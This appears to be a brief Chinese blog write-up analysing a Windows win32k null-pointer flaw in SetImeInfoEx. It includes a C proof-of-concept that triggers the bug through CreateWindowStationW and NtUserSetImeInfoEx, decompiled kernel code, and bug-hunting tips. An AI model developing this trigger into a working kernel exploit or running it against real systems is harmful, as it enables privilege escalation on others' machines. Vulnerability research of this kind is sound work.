POC:
VOID POC() {
HWINSTA Hwinsta= CreateWindowStationW(0, 0, READ_CONTROL, 0);
if (!Hwinsta)
{
printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
fflush(stdout);
ExitProcess(3);
}
if (!SetProcessWindowStation(Hwinsta))
{
printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
fflush(stdout);
ExitProcess(4);
}
tagIMEINFOEX tagIMEINFOEXA = {0};
NtUserSetImeInfoEx((PVOID)&tagIMEINFOEXA);
}
v3没有判断 NULL空指针导致了如下分析(IDA 截图):
tagWINDOWSTATION *__stdcall SetImeInfoEx(tagWINDOWSTATION *a1, const void *a2) {
tagWINDOWSTATION *result; // eax@1
tagKL *v3; // eax@2
tagIMEINFOEX *v4; // eax@7
result = a1;
if ( a1 )
{
v3 = a1->spklList; // 并没有判断v3的存在是否合理 怎么样让不合理是关键
while ( v3->hkl != *(HKL__ **)a2 )
{
v3 = v3->pklNext;
if ( v3 == a1->spklList )
return 0;
}
v4 = v3->piiex;
if ( !v4 )
return 0;
if ( !v4->fLoadFlag )
qmemcpy(v4, a2, sizeof(tagIMEINFOEX));
result = (tagWINDOWSTATION *)1;
}
return result;
}
v3是tagWINDOWSTATION.spklList成员 此成员没有判断地址的合理性就进行了读,这种类型洞 主要是Create的时候返回的结构体对象成员大多数是空 然后其他函数调用的时候没检查就使用了结构体内容,此处是CreateWindowStation Create,NtUserSetImeInfoEx调用。
xiang
借鉴这种类型挖掘其他的话 我自己先 第一懂函数,第二逆向读代码查看关联性,第三尝试。
或者直接写个函数先Create,然后另一个线程随机调用 求缘分。
网友评论